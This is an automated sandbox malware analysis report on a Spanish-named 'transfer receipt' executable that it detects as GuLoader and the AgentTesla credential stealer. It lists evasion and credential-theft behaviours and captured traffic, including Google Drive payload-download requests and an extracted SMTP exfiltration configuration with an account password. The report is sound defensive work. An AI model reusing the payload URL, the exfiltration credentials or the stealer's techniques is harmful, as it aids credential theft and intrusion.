Create Interactive Tour

Windows Analysis Report justificante de la transfer.exe

Overview

General Information

Sample Name:	justificante de la transfer.exe
Analysis ID:	1413
MD5:	326f29a347549e64c9510a1e0bd6d043
SHA1:	d70b73a10e45d9569da0dc44f99d49b7cb886959
SHA256:	99c1a96121410c61014d0115983f43fad64acc77d21914a9fb9e3c6ba262627a
Infos:
Most interesting Screenshot:

Detection

AgentTesla GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Potential malicious icon found

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Antivirus / Scanner detection for submitted sample

Yara detected GuLoader

Hides threads from debuggers

Installs a global keyboard hook

Writes to foreign memory regions

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to detect Any.run

Tries to harvest and steal ftp login credentials

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Found evasive API chain (trying to detect sleep duration tampering with parallel thread)

Tries to steal Mail credentials (via file access)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Uses SMTP (mail sending)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64native

justificante de la transfer.exe (PID: 8092 cmdline: 'C:\Users\user\Desktop\justificante de la transfer.exe' MD5: 326F29A347549E64C9510A1E0BD6D043)

RegAsm.exe (PID: 5360 cmdline: 'C:\Users\user\Desktop\justificante de la transfer.exe' MD5: A64DACA3CFBCD039DF3EC29D3EDDD001)

conhost.exe (PID: 6716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

Malware Configuration

Threatname: Agenttesla

{
  "Exfil Mode": "SMTP",
  "SMTP Info": "info@saludietnatural.es@Virginia1357@smtp.1and1.esernestbrown7711@gmail.com"
}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.87113936243.00000000022C0000.00000040.00000001.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: RegAsm.exe PID: 5360	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegAsm.exe PID: 5360	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

• AV Detection
• Cryptography
• Compliance
• Networking
• Key, Mouse, Clipboard, Microphone and Screen Capturing
• System Summary
• Data Obfuscation
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: RegAsm.exe.5360.9.memstrmin

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "info@saludietnatural.es@Virginia1357@smtp.1and1.esernestbrown7711@gmail.com"}

Multi AV Scanner detection for submitted file

Show sources

Source: justificante de la transfer.exe	Virustotal: Detection: 33%			Perma Link
Source: justificante de la transfer.exe	ReversingLabs: Detection: 15%

Antivirus / Scanner detection for submitted sample

Show sources

Source: justificante de la transfer.exe

Avira: detected

Source: 1.0.justificante de la transfer.exe.400000.0.unpack

Avira: Label: TR/AD.Nekark.xzcho

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_012D14CA CryptUnprotectData,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_012D148F CryptUnprotectData,

Source: justificante de la transfer.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.11.20:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.97:443 -> 192.168.11.20:49824 version: TLS 1.2

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View

IP Address: 212.227.15.158 212.227.15.158

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1vavsgmes_78ZFqtwdBQSXHJKINzKE_zC HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/6ij4sbsviu1voaqi3vqcfesu7arhjmk8/1632943575000/10336038596844869013/*/1vavsgmes_78ZFqtwdBQSXHJKINzKE_zC?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0s-1s-docs.googleusercontent.comConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.11.20:49843 -> 212.227.15.158:25

Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: RegAsm.exe, 00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: RegAsm.exe, 00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp	String found in binary or memory: http://CsFYNg.com
Source: RegAsm.exe, 00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: RegAsm.exe, 00000009.00000002.91597206938.0000000020857000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.geotrust.com/GeoTrustRSACA2018.crt0
Source: RegAsm.exe, 00000009.00000002.91597206938.0000000020857000.00000004.00000001.sdmp	String found in binary or memory: http://cdp.geotrust.com/GeoTrustRSACA2018.crl0L
Source: RegAsm.exe, 00000009.00000003.87089976252.00000000016E3000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: RegAsm.exe, 00000009.00000003.87089976252.00000000016E3000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: RegAsm.exe, 00000009.00000002.91580886653.00000000016AE000.00000004.00000020.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRoot
Source: RegAsm.exe, 00000009.00000002.91597206938.0000000020857000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: RegAsm.exe, 00000009.00000002.91590630666.000000001E735000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000003.87962900690.000000001D001000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000002.91591125410.000000001E79F000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000002.91591356113.000000001E7D1000.00000004.00000001.sdmp	String found in binary or memory: http://nKWW4cNb0Z3wwzX5.net
Source: RegAsm.exe, 00000009.00000002.91597206938.0000000020857000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0B
Source: RegAsm.exe, 00000009.00000002.91597206938.0000000020857000.00000004.00000001.sdmp	String found in binary or memory: http://status.geotrust.com0=
Source: RegAsm.exe, 00000009.00000003.87085854102.00000000016EE000.00000004.00000001.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/drive-explorer/
Source: RegAsm.exe, 00000009.00000003.87089976252.00000000016E3000.00000004.00000001.sdmp	String found in binary or memory: https://doc-0s-1s-docs.googleusercontent.com/
Source: RegAsm.exe, 00000009.00000002.91580886653.00000000016AE000.00000004.00000020.sdmp	String found in binary or memory: https://doc-0s-1s-docs.googleusercontent.com/Ut
Source: RegAsm.exe, 00000009.00000003.87089976252.00000000016E3000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000003.87085854102.00000000016EE000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000002.91581052815.00000000016CF000.00000004.00000020.sdmp	String found in binary or memory: https://doc-0s-1s-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/6ij4sbsv
Source: RegAsm.exe, 00000009.00000002.91580598172.000000000166A000.00000004.00000020.sdmp	String found in binary or memory: https://drive.google.com/
Source: RegAsm.exe, 00000009.00000002.91580197000.00000000015B0000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1vavsgmes_78ZFqtwdBQSXHJKINzKE_zC
Source: RegAsm.exe, 00000009.00000003.87089976252.00000000016E3000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1vavsgmes_78ZFqtwdBQSXHJKINzKE_zCA
Source: RegAsm.exe, 00000009.00000002.91580598172.000000000166A000.00000004.00000020.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1vavsgmes_78ZFqtwdBQSXHJKINzKE_zC_
Source: RegAsm.exe, 00000009.00000002.91580197000.00000000015B0000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1vavsgmes_78ZFqtwdBQSXHJKINzKE_zCwininet.dllMozilla/5
Source: RegAsm.exe, 00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp, RegAsm.exe, 00000009.00000002.91590630666.000000001E735000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/
Source: RegAsm.exe, 00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com//
Source: RegAsm.exe, 00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/https://login.live.com/
Source: RegAsm.exe, 00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/v104
Source: RegAsm.exe, 00000009.00000002.91590630666.000000001E735000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: RegAsm.exe, 00000009.00000002.91597206938.0000000020857000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: RegAsm.exe, 00000009.00000002.91590183698.000000001E6D1000.00000004.00000001.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Source: unknown

DNS traffic detected: queries for: drive.google.com

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Code function: 9_2_1E44A09A recv,

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1vavsgmes_78ZFqtwdBQSXHJKINzKE_zC HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/6ij4sbsviu1voaqi3vqcfesu7arhjmk8/1632943575000/10336038596844869013/*/1vavsgmes_78ZFqtwdBQSXHJKINzKE_zC?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0s-1s-docs.googleusercontent.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.11.20:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.97:443 -> 192.168.11.20:49824 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Installs a global keyboard hook

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

System Summary:

Potential malicious icon found

Show sources

Source: initial sample

Icon embedded in PE file: bad icon match: 20047c7c70f0e004

Source: justificante de la transfer.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_0132F989
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_0132FD23
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1D1E6F18
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1D1EB718
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1D1E9B5B
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1D1EB2D0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1D330070
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1D3333F0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1D3316D0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1D334438
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1D331670
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_20916888
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_2091C43B
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_20917240
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_2091F188
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_209185B0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_20919748
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_2091F30E

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1E44B0BA NtQuerySystemInformation,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1E44B089 NtQuerySystemInformation,

Source: justificante de la transfer.exe, 00000001.00000002.87112629384.000000000041D000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameUnhypocritical.exe vs justificante de la transfer.exe
Source: justificante de la transfer.exe, 00000001.00000002.87114153347.0000000002A70000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameUnhypocritical.exeFE2XAClassic vs justificante de la transfer.exe
Source: justificante de la transfer.exe	Binary or memory string: OriginalFilenameUnhypocritical.exe vs justificante de la transfer.exe

Source: justificante de la transfer.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\justificante de la transfer.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: security.dll

Source: justificante de la transfer.exe	Virustotal: Detection: 33%
Source: justificante de la transfer.exe	ReversingLabs: Detection: 15%

Source: justificante de la transfer.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\justificante de la transfer.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\user\Desktop\justificante de la transfer.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Source: unknown	Process created: C:\Users\user\Desktop\justificante de la transfer.exe 'C:\Users\user\Desktop\justificante de la transfer.exe'
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe 'C:\Users\user\Desktop\justificante de la transfer.exe'
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe 'C:\Users\user\Desktop\justificante de la transfer.exe'

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1E44AF3E AdjustTokenPrivileges,
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1E44AF07 AdjustTokenPrivileges,

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@4/1@3/3

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\ffc00a26ff38e37b47b2c75f92b48929\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6716:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6716:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match

File source: 00000001.00000002.87113936243.00000000022C0000.00000040.00000001.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\justificante de la transfer.exe	Code function: 1_2_00414CD0 push eax; ret
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Code function: 1_2_022C5805 push eax; retf
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Code function: 1_2_022C384F push es; retf
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Code function: 1_2_022C1CAE push 509Ah; retf
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Code function: 1_2_022C3ADF push edi; iretd
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Code function: 1_2_022C0128 push 1E7C9E03h; iretd
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Code function: 1_2_022C3D32 push es; iretd
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Code function: 1_2_022C3D1F push esi; retf
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Code function: 1_2_022C1141 push ss; iretd
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Code function: 1_2_022C3551 push esi; ret
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Code function: 1_2_022C3F52 push esp; retf
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Code function: 1_2_022C61CA push ebx; retf
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Code function: 1_2_022C0DC5 push edx; retf
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1D1E6960 push ds; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1D1E67DD push esp; ret
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1E442B41 push ds; retf
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1E442988 push ds; retf
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1E442D8A push ds; retf
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1E5C0A0A push ds; retn 0008h
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Code function: 9_2_1E5C0A2E push ds; retn 0020h

Source: C:\Users\user\Desktop\justificante de la transfer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\justificante de la transfer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
